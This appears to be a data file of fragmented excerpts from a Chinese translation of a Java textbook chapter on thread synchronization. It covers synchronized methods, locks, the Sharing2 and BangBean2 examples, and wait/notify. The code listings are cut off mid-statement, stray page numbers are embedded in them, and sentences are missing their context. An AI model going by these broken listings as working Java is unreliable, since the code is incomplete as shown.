    {"text": "下面列出简单的 ｓｙｎｃｈｒｏｎｉｚｅｄ 方法： ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｆ（） ｛ ／＊ ．．． ＊／ ｝ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｇ（） ｛ ／＊ ．．． ＊／ ｝ 每个对象都包含了一把锁（也叫作“监视器”），它自动成为对象的一部分（不必为此写任何特殊的代 码）。 调用任何 ｓｙｎｃｈｒｏｎｉｚｅｄ 方法时，对象就会被锁定，不可再调用那个对象的其他任何 ｓｙｎｃｈｒｏｎｉｚｅｄ 方 法，除非第一个方法完成了自己的工作，并解除锁定。 在上面的例子中，如果为一个对象调用 ｆ（），便不能 再为同样的对象调用 ｇ（），除非 ｆ（）完成并解除锁定。 因此，一个特定对象的所有 ｓｙｎｃｈｒｏｎｉｚｅｄ 方法都共享 着一把锁，而且这把锁能防止多个方法对通用内存同时进行写操作（比如同时有多个线程）。 每个类也有自己的一把锁（作为类的 Ｃｌａｓｓ 对象的一部分），所以 ｓｙｎｃｈｒｏｎｉｚｅｄ ｓｔａｔｉｃ 方法可在一个类的 范围内被相互间锁定起来，防止与 ｓｔａｔｉｃ 数据的接触。"},
    {"text": "１． 计数器的同步 装备了这个新关键字后，我们能够采取的方案就更灵活了：可以只为 ＴｗｏＣｏｕｎｔｅｒ 中的方法简单地使用 ｓｙｎｃｈｒｏｎｉｚｅｄ 关键字。"},
    {"text": "下面这个例子是对前例的改版，其中加入了新的关键字： ／／： Ｓｈａｒｉｎｇ２．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ ｓｙｎｃｈｒｏｎｉｚｅｄ ｋｅｙｗｏｒｄ ｔｏ ｐｒｅｖｅｎｔ ／／ ｍｕｌｔｉｐｌｅ ａｃｃｅｓｓ ｔｏ ａ ｐａｒｔｉｃｕｌａｒ ｒｅｓｏｕｒｃｅ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｃｌａｓｓ ＴｗｏＣｏｕｎｔｅｒ２ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｓｔａｒｔｅｄ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ１ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（５）， ｔ２ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（５）； ｐｒｉｖａｔｅ Ｌａｂｅｌ ｌ ＝ ｎｅｗ Ｌａｂｅｌ（＂ｃｏｕｎｔ１ ＝＝ ｃｏｕｎｔ２＂）； ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ１ ＝ ０， ｃｏｕｎｔ２ ＝ ０； ｐｕｂｌｉｃ ＴｗｏＣｏｕｎｔｅｒ２（Ｃｏｎｔａｉｎｅｒ ｃ） ｛ Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ａｄｄ（ｔ１）； ｐ．ａｄｄ（ｔ２）； ｐ．ａｄｄ（ｌ）； ｃ．ａｄｄ（ｐ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔａｒｔ（） ｛ ｉｆ（！ ｓｔａｒｔｅｄ） ｛ ｓｔａｒｔｅｄ ＝ ｔｒｕｅ； ｓｕｐｅｒ．ｓｔａｒｔ（）； ｝ ５０３ ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｔ１．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ１＋＋））； ｔ２．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ２＋＋））； ｔｒｙ ｛ ｓｌｅｅｐ（５００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｓｙｎｃｈＴｅｓｔ（） ｛ Ｓｈａｒｉｎｇ２．ｉｎｃｒｅｍｅｎｔＡｃｃｅｓｓ（）； ｉｆ（ｃｏｕｎｔ１ ！ ＝ ｃｏｕｎｔ２） ｌ．ｓｅｔＴｅｘｔ（＂Ｕｎｓｙｎｃｈｅｄ＂）； ｝ ｝ ｃｌａｓｓ Ｗａｔｃｈｅｒ２ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｓｈａｒｉｎｇ２ ｐ； ｐｕｂｌｉｃ Ｗａｔｃｈｅｒ２（Ｓｈａｒｉｎｇ２ ｐ） ｛ ｔｈｉｓ．ｐ ＝ ｐ； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐ．ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｐ．ｓ［ｉ］．ｓｙｎｃｈＴｅｓｔ（）； ｔｒｙ ｛ ｓｌｅｅｐ（５００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｈａｒｉｎｇ２ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｗｏＣｏｕｎｔｅｒ２［］ ｓ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ａｃｃｅｓｓＣｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ＴｅｘｔＦｉｅｌｄ ａＣｏｕｎｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂０＂， １０）； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｉｎｃｒｅｍｅｎｔＡｃｃｅｓｓ（） ｛ ａｃｃｅｓｓＣｏｕｎｔ＋＋； ａＣｏｕｎｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ａｃｃｅｓｓＣｏｕｎｔ））； ｝ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｔａｒｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｔａｒｔ＂）， ｏｂｓｅｒｖｅｒ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｏｂｓｅｒｖｅ＂）； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｉｓＡｐｐｌｅｔ ＝ ｔｒｕｅ； ｐｒｉｖａｔｅ ｉｎｔ ｎｕｍＣｏｕｎｔｅｒｓ ＝ ０； ｐｒｉｖａｔｅ ｉｎｔ ｎｕｍＯｂｓｅｒｖｅｒｓ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｉｆ（ｉｓＡｐｐｌｅｔ） ｛ ｎｕｍＣｏｕｎｔｅｒｓ ＝ ５０４ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｇｅｔＰａｒａｍｅｔｅｒ（＂ｓｉｚｅ＂））； ｎｕｍＯｂｓｅｒｖｅｒｓ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ ｇｅｔＰａｒａｍｅｔｅｒ（＂ｏｂｓｅｒｖｅｒｓ＂））； ｝ ｓ ＝ ｎｅｗ ＴｗｏＣｏｕｎｔｅｒ２［ｎｕｍＣｏｕｎｔｅｒｓ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］ ＝ ｎｅｗ ＴｗｏＣｏｕｎｔｅｒ２（ｔｈｉｓ）； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｓｔａｒｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＳｔａｒｔＬ（））； ｐ．ａｄｄ（ｓｔａｒｔ）； ｏｂｓｅｒｖｅｒ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＯｂｓｅｒｖｅｒＬ（））； ｐ．ａｄｄ（ｏｂｓｅｒｖｅｒ）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ａｃｃｅｓｓ Ｃｏｕｎｔ＂））； ｐ．ａｄｄ（ａＣｏｕｎｔ）； ａｄｄ（ｐ）； ｝ ｃｌａｓｓ ＳｔａｒｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ［ｉ］．ｓｔａｒｔ（）； ｝ ｝ ｃｌａｓｓ ＯｂｓｅｒｖｅｒＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｎｕｍＯｂｓｅｒｖｅｒｓ； ｉ＋＋） ｎｅｗ Ｗａｔｃｈｅｒ２（Ｓｈａｒｉｎｇ２．ｔｈｉｓ）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｈａｒｉｎｇ２ ａｐｐｌｅｔ ＝ ｎｅｗ Ｓｈａｒｉｎｇ２（）； ／／ Ｔｈｉｓ ｉｓｎ＇ｔ ａｎ ａｐｐｌｅｔ， ｓｏ ｓｅｔ ｔｈｅ ｆｌａｇ ａｎｄ ／／ ｐｒｏｄｕｃｅ ｔｈｅ ｐａｒａｍｅｔｅｒ ｖａｌｕｅｓ ｆｒｏｍ ａｒｇｓ： ａｐｐｌｅｔ．ｉｓＡｐｐｌｅｔ ＝ ｆａｌｓｅ；"},
    {"text": "ａｐｐｌｅｔ．ｎｕｍＣｏｕｎｔｅｒｓ ＝ （ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０ ？ ５ ： Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［０］））； ａｐｐｌｅｔ．ｎｕｍＯｂｓｅｒｖｅｒｓ ＝ （ａｒｇｓ．ｌｅｎｇｔｈ ＜ ２ ？ ５ ： Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ａｒｇｓ［１］））； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｓｈａｒｉｎｇ２＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３５０， ａｐｐｌｅｔ．ｎｕｍＣｏｕｎｔｅｒｓ ＊１００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "所以必须记住一个重要的规则：对于访问某个关键共享资源的所有方 法，都必须把它们设为 ｓｙｎｃｈｒｏｎｉｚｅｄ，否则就不能正常地工作。"},
    {"text": "如下所示： ｓｙｎｃｈｒｏｎｉｚｅｄ（ｓｙｎｃＯｂｊｅｃｔ） ｛ ／／ Ｔｈｉｓ ｃｏｄｅ ｃａｎ ｂｅ ａｃｃｅｓｓｅｄ ｂｙ ｏｎｌｙ ／／ ｏｎｅ ｔｈｒｅａｄ ａｔ ａ ｔｉｍｅ， ａｓｓｕｍｉｎｇ ａｌｌ ／／ ｔｈｒｅａｄｓ ｒｅｓｐｅｃｔ ｓｙｎｃＯｂｊｅｃｔ＇ｓ ｌｏｃｋ ｝ 在能进入同步块之前，必须在 ｓｙｎｃｈＯｂｊｅｃｔ 上取得锁。"},
    {"text": "所以修改过的 ｒｕｎ（）方法象下面这个样子： ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ ｓｙｎｃｈｒｏｎｉｚｅｄ（ｔｈｉｓ） ｛ ｔ１．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｃｏｕｎｔ１＋＋））；"},
    {"text": "｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ 这是必须对 Ｓｈａｒｉｎｇ２．ｊａｖａ 作出的唯一修改，我们会看到尽管两个计数器永远不会脱离同步（取决于允许 Ｗａｔｃｈｅｒ 什么时候检查它们），但在 ｒｕｎ（）执行期间，仍然向 Ｗａｔｃｈｅｒ 提供了足够的访问权限。"},
    {"text": "看来似乎更好的一种做 法是将所有方法都设为自动同步，并完全消除 ｓｙｎｃｈｒｏｎｉｚｅｄ 关键字（当然，含有 ｓｙｎｃｈｒｏｎｉｚｅｄ ｒｕｎ（）的例 子显示出这样做是很不通的）。"},
    {"text": "但它也揭示出获取一把锁并非一种“廉价”方案——为一次方法调用付出的 代价（进入和退出方法，不执行方法主体）至少要累加到四倍，而且根据我们的具体现方案，这一代价还有 可能变得更高。"},
    {"text": "可能也将一个 Ｂｅａｎ 的所有 ｐｕｂｌｉｃ 方法都设为 ｓｙｎｃｈｒｏｎｉｚｅｄ，并只有在保 证特别必要、而且会造成一个差异的情况下，才将 ｓｙｎｃｈｒｏｎｉｚｅｄ 关键字删去。"},
    {"text": "在下面这个修改过的版本中，我们使其能在多线程环境中工作，并为事件采用了多造型技术： ／／： ＢａｎｇＢｅａｎ２．ｊａｖａ ／／ Ｙｏｕ ｓｈｏｕｌｄ ｗｒｉｔｅ ｙｏｕｒ Ｂｅａｎｓ ｔｈｉｓ ｗａｙ ｓｏ ｔｈｅｙ ／／ ｃａｎ ｒｕｎ ｉｎ ａ ｍｕｌｔｉｔｈｒｅａｄｅｄ ｅｎｖｉｒｏｎｍｅｎｔ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＢａｎｇＢｅａｎ２ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｘｍ， ｙｍ； ｐｒｉｖａｔｅ ｉｎｔ ｃＳｉｚｅ ＝ ２０； ／／ Ｃｉｒｃｌｅ ｓｉｚｅ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｔｅｘｔ ＝ ＂Ｂａｎｇ！"},
    {"text": "ｐｒｉｖａｔｅ ｉｎｔ ｆｏｎｔＳｉｚｅ ＝ ４８； ｐｒｉｖａｔｅ Ｃｏｌｏｒ ｔＣｏｌｏｒ ＝ Ｃｏｌｏｒ．ｒｅｄ； ｐｒｉｖａｔｅ Ｖｅｃｔｏｒ ａｃｔｉｏｎＬｉｓｔｅｎｅｒｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｐｕｂｌｉｃ ＢａｎｇＢｅａｎ２（） ｛ ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＬ（））； ａｄｄＭｏｕｓｅＭｏｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＭ（））； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｉｎｔ ｇｅｔＣｉｒｃｌｅＳｉｚｅ（） ｛ ｒｅｔｕｒｎ ｃＳｉｚｅ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｓｅｔＣｉｒｃｌｅＳｉｚｅ（ｉｎｔ ｎｅｗＳｉｚｅ） ｛ ｃＳｉｚｅ ＝ ｎｅｗＳｉｚｅ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ Ｓｔｒｉｎｇ ｇｅｔＢａｎｇＴｅｘｔ（） ｛ ｒｅｔｕｒｎ ｔｅｘｔ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｓｅｔＢａｎｇＴｅｘｔ（Ｓｔｒｉｎｇ ｎｅｗＴｅｘｔ） ｛ ｔｅｘｔ ＝ ｎｅｗＴｅｘｔ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｉｎｔ ｇｅｔＦｏｎｔＳｉｚｅ（） ｛ ｒｅｔｕｒｎ ｆｏｎｔＳｉｚｅ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｓｅｔＦｏｎｔＳｉｚｅ（ｉｎｔ ｎｅｗＳｉｚｅ） ｛ ５０７ ｆｏｎｔＳｉｚｅ ＝ ｎｅｗＳｉｚｅ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ Ｃｏｌｏｒ ｇｅｔＴｅｘｔＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｔＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｓｅｔＴｅｘｔＣｏｌｏｒ（Ｃｏｌｏｒ ｎｅｗＣｏｌｏｒ） ｛ ｔＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ｇ．ｄｒａｗＯｖａｌ（ｘｍ － ｃＳｉｚｅ／２， ｙｍ － ｃＳｉｚｅ／２， ｃＳｉｚｅ， ｃＳｉｚｅ）； ｝ ／／ Ｔｈｉｓ ｉｓ ａ ｍｕｌｔｉｃａｓｔ ｌｉｓｔｅｎｅｒ， ｗｈｉｃｈ ｉｓ ／／ ｍｏｒｅ ｔｙｐｉｃａｌｌｙ ｕｓｅｄ ｔｈａｎ ｔｈｅ ｕｎｉｃａｓｔ ／／ ａｐｐｒｏａｃｈ ｔａｋｅｎ ｉｎ ＢａｎｇＢｅａｎ．ｊａｖａ： ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ （ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｌ） ｛ ａｃｔｉｏｎＬｉｓｔｅｎｅｒｓ．ａｄｄＥｌｅｍｅｎｔ（ｌ）； ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｌ） ｛ ａｃｔｉｏｎＬｉｓｔｅｎｅｒｓ．ｒｅｍｏｖｅＥｌｅｍｅｎｔ（ｌ）； ｝ ／／ Ｎｏｔｉｃｅ ｔｈｉｓ ｉｓｎ＇ｔ ｓｙｎｃｈｒｏｎｉｚｅｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｎｏｔｉｆｙＬｉｓｔｅｎｅｒｓ（） ｛ ＡｃｔｉｏｎＥｖｅｎｔ ａ ＝ ｎｅｗ ＡｃｔｉｏｎＥｖｅｎｔ（ＢａｎｇＢｅａｎ２．ｔｈｉｓ， ＡｃｔｉｏｎＥｖｅｎｔ．ＡＣＴＩＯＮ＿ＰＥＲＦＯＲＭＥＤ， ｎｕｌｌ）； Ｖｅｃｔｏｒ ｌｖ ＝ ｎｕｌｌ； ／／ Ｍａｋｅ ａ ｃｏｐｙ ｏｆ ｔｈｅ ｖｅｃｔｏｒ ｉｎ ｃａｓｅ ｓｏｍｅｏｎｅ ／／ ａｄｄｓ ａ ｌｉｓｔｅｎｅｒ ｗｈｉｌｅ ｗｅ＇ｒｅ ／／ ｃａｌｌｉｎｇ ｌｉｓｔｅｎｅｒｓ： ｓｙｎｃｈｒｏｎｉｚｅｄ（ｔｈｉｓ） ｛ ｌｖ ＝ （Ｖｅｃｔｏｒ）ａｃｔｉｏｎＬｉｓｔｅｎｅｒｓ．ｃｌｏｎｅ（）； ｝ ／／ Ｃａｌｌ ａｌｌ ｔｈｅ ｌｉｓｔｅｎｅｒ ｍｅｔｈｏｄｓ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｖ．ｓｉｚｅ（）； ｉ＋＋） ｛ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａｌ ＝ （ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ）ｌｖ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ａｌ．ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ａ）； ｝ ｝ ｃｌａｓｓ ＭＬ ｅｘｔｅｎｄｓ ＭｏｕｓｅＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＰｒｅｓｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ Ｇｒａｐｈｉｃｓ ｇ ＝ ｇｅｔＧｒａｐｈｉｃｓ（）； ｇ．ｓｅｔＣｏｌｏｒ（ｔＣｏｌｏｒ）； ｇ．ｓｅｔＦｏｎｔ（ ｎｅｗ Ｆｏｎｔ（ ＂ＴｉｍｅｓＲｏｍａｎ＂， Ｆｏｎｔ．ＢＯＬＤ， ｆｏｎｔＳｉｚｅ））； ｉｎｔ ｗｉｄｔｈ ＝ ５０８ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）．ｓｔｒｉｎｇＷｉｄｔｈ（ｔｅｘｔ）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｔｅｘｔ， （ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ － ｗｉｄｔｈ） ／２， ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ／２）； ｇ．ｄｉｓｐｏｓｅ（）； ｎｏｔｉｆｙＬｉｓｔｅｎｅｒｓ（）； ｝ ｝ ｃｌａｓｓ ＭＭ ｅｘｔｅｎｄｓ ＭｏｕｓｅＭｏｔｉｏｎＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＭｏｖｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｘｍ ＝ ｅ．ｇｅｔＸ（）； ｙｍ ＝ ｅ．ｇｅｔＹ（）； ｒｅｐａｉｎｔ（）； ｝ ｝ ／／ Ｔｅｓｔｉｎｇ ｔｈｅ ＢａｎｇＢｅａｎ２： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＢａｎｇＢｅａｎ２ ｂｂ ＝ ｎｅｗ ＢａｎｇＢｅａｎ２（）； ｂｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＡｃｔｉｏｎＥｖｅｎｔ＂ ＋ ｅ）；"},
    {"text": "ｂｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＢａｎｇＢｅａｎ２ ａｃｔｉｏｎ＂）；"},
    {"text": "ｂｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｍｏｒｅ ａｃｔｉｏｎ＂）；"},
    {"text": "Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＢａｎｇＢｅａｎ２ Ｔｅｓｔ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（）｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ｂｂ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，３００）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ 很容易就可以为方法添加 ｓｙｎｃｈｒｏｎｉｚｅｄ。 但注意在 ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）和 ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）中，现 在添加了 ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ，并从一个 Ｖｅｃｔｏｒ 中移去，所以能够根据自己愿望使用任意多个。"},
    {"text": "另外，在 对 ｎｏｔｉｆｙＬｉｓｔｅｎｅｒｓ（）调用的中途，也可能发出对 ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）和 ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）的调 用。"},
    {"text": "为判断一个变量是否“关键”，必须知道它是否会被程 序中的其他线程读取或设置（就目前的情况看，读取或设置几乎肯定是通过“同步”方法进行的，所以可以 只对它们进行检查）。"},
    {"text": "如果一个“同步”方法修改了一个变量，而我们的方法要 用到这个变量，那么一般都愿意把自己的方法也设为“同步”。 基于这一前提，大家可观察到 ｃＳｉｚｅ 由“同 步”方法进行了修改，所以 ｐａｉｎｔ（）应当是“同步”的。"},
    {"text": "但请注意，ｓｙｎｃｈｒｏｎｉｚｅｄ 不能继承——也就是说，假如一个方 法在基础类中是“同步”的，那么在衍生类过载版本中，它不会自动进入“同步”状态。"},
    {"text": "ＴｅｓｔＢａｎｇＢｅａｎ２ 中的测试代码已在前一章的基础上进行了修改，已在其中加入了额外的“听众”，从而演示 了 ＢａｎｇＢｅａｎ２ 的多造型能力。"},
    {"text": "除非线程收到 ｎｏｆｉｆｙ（）或者 ｎｏｔｉｆｙＡｌｌ（）消息，否则不会变成“可运行” （是的，这看起来同原因 ２ 非常相象，但有一个明显的区别是我们马上要揭示的）。"},
    {"text": "它们全都存在于名为 Ｂｌｏｃｋｉｎｇ．ｊａｖａ 的一个文件中，但 在这儿采用散落的片断进行解释（大家可注意到片断前后的“Ｃｏｎｔｉｎｕｅｄ”以及“Ｃｏｎｔｉｎｕｉｎｇ”标志。"},
